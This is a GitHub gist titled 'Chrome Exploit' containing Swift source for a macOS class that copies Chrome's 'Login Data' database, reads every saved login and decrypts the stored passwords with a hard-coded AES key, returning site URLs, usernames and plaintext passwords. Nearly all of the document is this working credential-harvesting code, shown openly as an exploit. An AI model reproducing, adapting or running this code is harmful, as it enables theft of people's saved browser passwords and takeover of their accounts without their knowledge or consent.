Skip to content

Instantly share code, notes, and snippets.

@jesuscast
Created November 28, 2018 22:17
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save jesuscast/f38bf01d903a9237c8d06318e643f25c to your computer and use it in GitHub Desktop.
Save jesuscast/f38bf01d903a9237c8d06318e643f25c to your computer and use it in GitHub Desktop.
Chrome Exploit
import Foundation
import CryptoSwift
import FMDB
open class ChromePasswords: NSObject {
let db:FMDatabase? = nil
let fileManager = FileManager.default
/**
Decrypts a password encrypted by google chrome.
- Parameter encryptedValue: The encrypted password as an array of bytes.
- Returns: Optional for the decrypted password.
*/
open func decryptValue(_ encryptedValue: [UInt8]) -> String?{
// The key Google chrome uses to encrypt data. Derived from the source code of chromium.
let key: Array<UInt8> = [222, 139, 31, 153, 178, 138, 184, 253, 81 ,99, 206, 46, 129, 22, 185, 115]
// The iv is also obtained from chromium. Is just 16 blank spaces.
let iv: Array<UInt8> = " ".utf8.map {$0}
do {
let aesObject = try CryptoSwift.AES(key: key, iv: iv , blockMode: .CBC, padding: PKCS7())
let decrypted = try aesObject.decrypt(encryptedValue)
// Transform the data into NSDATA
let data = Data(bytes: UnsafePointer<UInt8>(decrypted), count: decrypted.count)
// Now transform into a String?
let stringValue = String(data: data, encoding: String.Encoding.utf8)
return stringValue
} catch {
print("Error \(error)")
return nil
}
}
/**
Removes a file if it exists.
- Parameter tmp_path: The path to the file to remove.
- Returns: Bool of success.
*/
func removeIfExists(_ tmp_path: String) -> Bool {
if (fileManager.fileExists(atPath: tmp_path)) {
do {
try fileManager.removeItem(atPath: tmp_path)
} catch let error as NSError {
print("Error \(error)")
return false
}
}
return true
}
/**
Copies the most recent 'Login Data' file for google chrome from its standard path into a temporary directory.
We need to do this since reading the original file sometimes is not possible since google chrome locks the file.
- Returns: The path to the temporary file where the file was copied to.
*/
open func copyMostRecentPasswordsFile() -> String? {
let tmp_path = URL(fileURLWithPath: NSTemporaryDirectory()).appendingPathComponent("logindata").path
// Remove the previous file if it was there (we want the most recent version of the file)
if(!removeIfExists(tmp_path)){
return nil
}
// Now we need to copy the file from the the default location to a tmp folder.
do {
// a.k.a ~/Library/Application Support
if let supportDirectory = fileManager.urls(for: .applicationSupportDirectory, in: .userDomainMask).first {
// a.k.a ~/Library/Application Support/Google/Chrome/Default/Login Data
let chromePasswordsFile = supportDirectory.appendingPathComponent("Google/Chrome/Default/Login Data").path
try fileManager.copyItem(atPath: chromePasswordsFile, toPath: tmp_path)
return tmp_path
}
}
catch let error as NSError {
print("Error: \(error)")
}
return nil
}
/**
Returns a list of dictionaries with the data for the username, passwords, and urls
from google chrome.
- Parameter query: A query from the database (FMDatabase). We assume it contains the fields origin_url, username_value, password_value
- Returns: The results of all the passowords found.
*/
func readQueryResults(_ query: FMResultSet) -> [[String: String]] {
var result: [[String: String]] = []
while query.next() {
var currentRow:[String: String] = [String: String]()
if let passwordData = query.data(forColumn: "password_value"){
let bytes:Array<UInt8> = passwordData.bytes
var tmp:Array<UInt8> = []
if bytes.count > 3 {
for i in 3..<bytes.count {
tmp.append(bytes[i])
}
if let password = decryptValue(tmp) {
// print(password)
currentRow["password"] = password
for field in ["origin_url", "username_value"] {
if let fieldData = query.string(forColumn: field) {
currentRow[field] = fieldData
}
}
result.append(currentRow)
}
}
}
}
return result
}
/**
Returns data from Google Chrome passwords. This is the function that should be called to obtain all of the data.
- Returns: An optional array with a dictionary per password, username, url, found.
*/
func readDataFromPasswordDatabase() -> [[String: String]]? {
if let tmpPasswordsFile = copyMostRecentPasswordsFile() {
if let db = FMDatabase(path: tmpPasswordsFile) {
if db.open() {
let loginTableInfo = getTableInfo("logins", database: db)
print(loginTableInfo)
do {
let query = try db.executeQuery("SELECT origin_url, username_value, password_value from logins;", values: nil)
let result = readQueryResults(query)
query.close()
if (removeIfExists(tmpPasswordsFile)) {
print("Removed temporary password file copied here from google chrome")
}
return result
} catch {
print("error")
}
} else {
print("Error opening the database")
}
}
}
return nil
}
override init(){
super.init()
// self.readDataFromDatabase()
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment